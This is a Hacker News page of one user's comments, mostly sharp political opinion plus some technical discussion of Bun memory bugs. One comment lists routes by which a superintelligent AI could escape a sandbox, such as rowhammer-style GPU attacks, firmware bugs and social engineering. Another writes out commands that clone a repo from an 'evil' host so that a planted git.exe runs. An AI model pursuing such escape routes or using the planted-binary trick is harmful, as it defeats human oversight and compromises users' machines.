HNHacker News
TopNewBestAskShowJobs

lyu07282

2,044 karma · joined March 29, 2021

submissionscomments
lyu07282··on Starling: The first real desktop written by AI
Except for gamers, they are even more virulently anti-AI than this community is.
lyu07282··on Starling: The first real desktop written by AI
Weird, the swift port of flutter seems waaaay more interesting than the desktop itself. Was it just the dart code of flutter ported or the runtime too?

/edit Nevermind 'just' dart: https://github.com/starling-build/starling-engine#what-starl...

Still that part is kind of cool, 273K LOCs of the 335K

lyu07282··on OpenAI and Hugging Face address security incident during model evaluation
I would imagine a hypothetical super intelligence could manipulate its own runtime behavior to exploit bugs in the GPUs itself, like think rowhammer like attacks on the gddr memory of GPUs or against firmware or against Infiniband/NVlink. Everything above that runs so much code full of bugs on CPUs full of bugs on storage with firmware full of bugs.

You would have to completely airgap the entire cluster and put it in a faraday cage, the people working on that would have to physically be in the datacenter and burn CDs to one-way transfer data over. Like in all the hypothetical ASI scifi scenarios they always assumed that's a given, they thought it obvious we would put actual "effort" into sandboxing the AI, so they talked a lot about how AI would use social engineering attacks to convince humans to help it escape it's sophisticated sandbox anyway. Turns out they were all wrong about that part, it won't even be necessary.

lyu07282··on My falling-out with the rationalist community
There is nothing I could possibly say to convince you otherwise, in the same EXACT way I couldn't convince a scientologist that their thetan levels are nonsense. It was never the argument that conditional probability or other mathematics is wrong, nobody is ever arguing that, but that is all you disciples ever argue against. You are all deeply uneducated and unserious people believing to "reason" yourselves to some higher "truth" on all kinds of broad topics using some WILDLY misappropriated and misunderstood mathematical principles.
lyu07282··on My falling-out with the rationalist community
You do realize you sound exactly like a cult member right? Like that's precisely how a scientologist would explain auditing to people outside the cult. Like this is "not dogma" just "fundamental axioms" that "is not because of faith, and that disbelieving them cannot make them false".
lyu07282··on My falling-out with the rationalist community
Though much more destructive to society than Scientology, it's the cult that is underpinning Technofeudalism, these are people (almost) as vile as Ayn Rand.
lyu07282··on Exploit brokers pay $500k for WordPress RCEs. I found one with GPT5.6 and $25
some statistics point to almost 50% of all websites on the internet running on Wordpress, $500k for an undisclosed 0day unauthenticated RCE doesn't seem so unrealistic to me
lyu07282··on Is this the end of the once-mighty GoPro?
I think the overwhelming and undeniable success and prosperity of China is the biggest concern to the west, the neoliberals consistently predicted their immediate downfall that never came. Except we are all still led by the same neoliberals proven wrong about everything, the contradictions everywhere are driving us all into collective insanity. If we don't manage to purge our media and governments from these vile people the only path forward is collective decline, increased totalitarianism and our repression leading to a war with China. Wars don't always end in the right side winning, and the cold war was won by the wrong side.
lyu07282··on Cursor 0day: When Full Disclosure Becomes the Only Protection Left
Could file a CVE with Microsoft then, cause thats kinda what cmd.exe is doing:

    > git clone git://evil evil
    > cd evil\
    > git status
The last line would execute git.exe from the cloned repo, wouldn't it?
lyu07282··on Rubio announces campaign to 'dismantle' International Criminal Court
But its like they are now more invested in Israel than they are to the US imperial death machine itself even. Like Bush/Obama felt more dedicated to the death march in Iraq/Libya "for the empire", like the motivation of their slaughter was extraction and exploitation of land, but now its not exactly clear what the empire has to benefit from supporting every whim of some random ethnosupremacist ethnic cleansing' lunatics, seems corrupt, not ideological.
lyu07282··on Show HN: Jacquard, a programming language for AI-written, human-reviewed code
More like all of human technology is dedicated to make deterministic systems out of our feeble non-deterministic minds.
lyu07282··on Show HN: Jacquard, a programming language for AI-written, human-reviewed code
Like to believe we will one day use a low level language that is non-deterministic to build everything on top off seems to me in violation of such fundamental laws of information theory it's on the level of a belief in telekinesis.
lyu07282··on Rubio announces campaign to 'dismantle' International Criminal Court
The loyalty US politicians have towards Israel is mindblowing, the way the managed to hollow out the American political system from inside-out is incredible. The ICC, the great weapon of western imperialism against the global south, they now want to destroy? It's stretching the limits of my incongruity, it's a pressure campaign to put it back in its place at most.
lyu07282··on Zig Creator Calls Spade a Spade, Anthropic Blows Smoke
They listed some of the memory bugs they had in the blog post, I just looked at three of them, the first one was this:

> heap-use-after-free crash in node:zlib when calling .reset() on a zlib, Brotli, or Zstd stream while an async .write() is still in progress on the threadpool

https://github.com/spaceraccoon/vulnerability-spoiler-alert/...

If you look at the fix you can see its all in their zig codebase:

https://github.com/oven-sh/bun/commit/621c4016218bb782e05907...

What is kind of funny is that nodejs also had a basically identical bug with an almost identical fix:

https://github.com/spaceraccoon/vulnerability-spoiler-alert/... https://github.com/nodejs/node/commit/53bcd114b10021c4a883b0...

But now the interesting question, how does the code look like in Rust?

https://github.com/oven-sh/bun/blob/8f1a9540fdff25410506de76...

It has the same guard in place as the zig and c++ versions, the rust code also just calls into the zlib bindings after the "write in progress" check.

So in this case at least the same exact use-after-free would've happened and they don't win anything from the rust port.

Another one was this:

> crash and out-of-bounds read in Buffer#copy and Buffer#fill when a valueOf callback detaches or resizes the underlying ArrayBuffer during argument coercion

I think ths is the fix:

https://github.com/oven-sh/bun/commit/79522ab6c579736dc239fa...

But the bug here is in C++ bindings, Rust wouldn't have helped here either.

Last one:

> double-free crash in the CSS parser when background-clip had vendor prefixes and multi-layer backgrounds

Fix: https://github.com/oven-sh/bun/commit/912970c98437e418a95b6b...

Code side-by-side:

Rust: https://github.com/oven-sh/bun/blob/8f1a9540fdff25410506de76...

Zig: https://github.com/oven-sh/bun/blob/912970c98437e418a95b6b5b...

I can't judge the Zig code, perhaps someone could say if this was a "beginner" mistake.

But this is at least one case where Rust would've helped, although even that is a bit complicated considering stuff like bun_ptr:

    // Lifetime-erasure helpers (RUST_PATTERNS.md §6/§18) — re-exported here so
    // crates that already depend on `bun_collections` (logger, css, js_parser,
    // crash_handler, watcher, http_types) can route the borrowck-dodge through
    // one centralised `unsafe fn` instead of open-coding the lifetime cast.
    pub use bun_ptr::{RawSlice, detach_lifetime, detach_ref};
Which is a bit concerning?
lyu07282··on Protobuf-py: Protobuf for Python, without compromises
Going strong since 2019! It's a wonderful company entirely dedicated to making google's miserable protobuf "somewhat" useable.
lyu07282··on Why are US consumers so angry? It's not just high prices
> The History Of The Customer Rage Study

> [..] the seminal 1976 White House Study that provided a host of provocative and first-ever insights about American customer care and its potential for profit-making. [..] corporate America is not getting the bang for its buck spent on customer complaint handling that is indeed possible. Billions of dollars in potential revenue continue to be lost [..]

The guardian never disappoints framing this whole series around the study of some og consulting business. Who needs conservative media when this is the leftmost mainstream outlet imaginable?

lyu07282··on EU Parliament greenlights Chat Control 1.0
> It really boils down to people just not wanting brown faces in 'their' streets.

Its similar to Trumpism in that sense, if you ask afd voters for example they will talk about migration and crime. Must all be racists. The mainstream discourse ends there.

From a leftist pov I think its the dissatisfaction in the cartel party that makes this scapegoating popular in the first place. There are many meaningful ways that peoples material conditions are worsening, which is ignored by the establishment, then a new party comes along and blames it all on migrants. The fact the afd calls itself "alternative" is telling perhaps, it directly challenges the neoliberal "there is no alternative" (Thatcher) / "alternativlos" (Merkel) doctrine.

Germany almost 4x its defense spending, they spend hundreds of billions on defense while cutting social and infrastructure spending. Germany has neolib austerity literally written into their constitution since 2009 (debt break), interestingly the afd voters believe the inverse, that the german government has been over-spending for decades and there is no austerity which they actually want. But they also believe the cdu are leftists so there is that, just shit in their brains at the end of the day so how do you really make sense of it?

lyu07282··on EU Parliament greenlights Chat Control 1.0
Then you are not paying attention, he satisfied his Murica-First Cult like a circus clown. The US is the biggest arms dealer in the world, the Europeans are delivering weapons from their stockpile to Ukraine, then the US is filling those stockpiles up. Works like clockwork, just like under Biden, there is no actual change in policy towards Russia/Ukraine.
lyu07282··on EU Parliament greenlights Chat Control 1.0
Isn't it interesting that if you remove the US from that list, it all aligns with US foreign policy? How fortuitous that EU interests just happen to coincide so well with our American friends.
lyu07282··on EU Parliament greenlights Chat Control 1.0
Its honestly a bit sad that this in particular got people up in arms on social media, nobody gave a single shit when they sacrifice millions of people and entire nations on the periphery to their death cult of market orthodoxy.

The media is barely covering it at all, the sheep are well asleep, online some just lucid dream about the democracy they never had.

lyu07282··on EVE Online's Carbon engine is now open source: Fenris Creations explains why
But they announced it as if they are releasing a game engine? This is just bits and pieces of one with major missing pieces so I'm not sure what the point was with that. I guess its more to help modding or they are yet to release everything they wanted.
lyu07282··on EVE Online's Carbon engine is now open source: Fenris Creations explains why
Seems like a huge chunk is missing there, these mostly seem to me like a bunch of smaller reusable components with nothing really tying it together.
lyu07282··on Chat Control passed first round in EU Parliament
The right actually believes the EU and the German government for example have a far-left ideology it's very common, I even once heard someone say they thought the World Economic Forum is communist. The right captures these resentments towards neoliberal corruption and undemocratic decision making and straight up funnel that energy towards anti-immigration, anti-woke and notably pro-russian politics.
lyu07282··on Chat Control passed first round in EU Parliament
It has more terms as well: neoliberal encasement, depoliticization or post-politics, it's designing a system in such a way as to protect private property, international trade and other economic orthodoxy from democratic influence. That is an incredibly potent theory to understand the EU by. Lots of work in academia on the subject as well, for instance:

https://www.jstor.org/stable/45129546

https://lpeproject.org/blog/neoliberal-encasement-infrastruc...

lyu07282··on China sentences official to death for taking $325M in bribes
It's a complex system of layers of representatives being elected on the local level, various institutions and levels of governance that you know literally nothing about and yet has been incredibly successful at uplifting it's people. In the simple mind of the western chauvinist this rich five thousand year old culture and complex society with good and bad, gets flattened into antagonistic slogans like "single party autocracy".

You don't understand how calling you a victim of propaganda is me being charitable, I could've also called you a typical western ignorant sinophobe.

lyu07282··on China sentences official to death for taking $325M in bribes
> Would the inner circle members of CCP leadership realistically face the same prosecution and sentencing, if they were to be caught doing the same?

The west is inundated with simplistic anti-chinese propaganda, so you would never perceive it as such, the way it would be presented to you in the west is as the evil dictator Xi Jingping purging his opposition, for instance:

https://www.bbc.com/news/world-asia-china-41670162

lyu07282··on Europe's company websites are mostly served by US vendors
China is very successfully developing and competing with the US, so it is self evident that Europe should continue to do the exact opposite of everything that China is doing.
lyu07282··on Medieval-style fortifications are back in the Sahel
Thank's it adds a lot to explain why something like this pops up in the Economist of all places

> The United States and its allies should align its efforts accordingly. That means accepting longer time horizons, investing in less visible cross-border mechanisms over high-profile bilateral wins, and recognising that the periphery is now the centre.

oh boy

> African governments understand this dynamic, which is why regional organisations like the African Union, the Economic Community of West African States, and even the juntas of the Alliance of Sahel States increasingly emphasise multinational responses.

Not to be too much of a panafrican commie here, but AES left the Ecowas months ago I hope(?) the authors were aware of this? Seems like worth mentioning, perhaps it means something who knows. I guess we learn more about what to think about the Shael states when the US or France invades them again in a few months from now.

lyu07282··on Does average person understand that all disc media dies too?
Why do they always love playing the willfully ignorant, gobbling on billionaire boots.

Does average peasant understand that lord deserves his rent on the games they play?

lyu07282··on Why Switzerland has 25 gbit internet and America doesn't
Sorry don't have the crayons right now to explain it to you
← PreviousPage 2 of 34Next →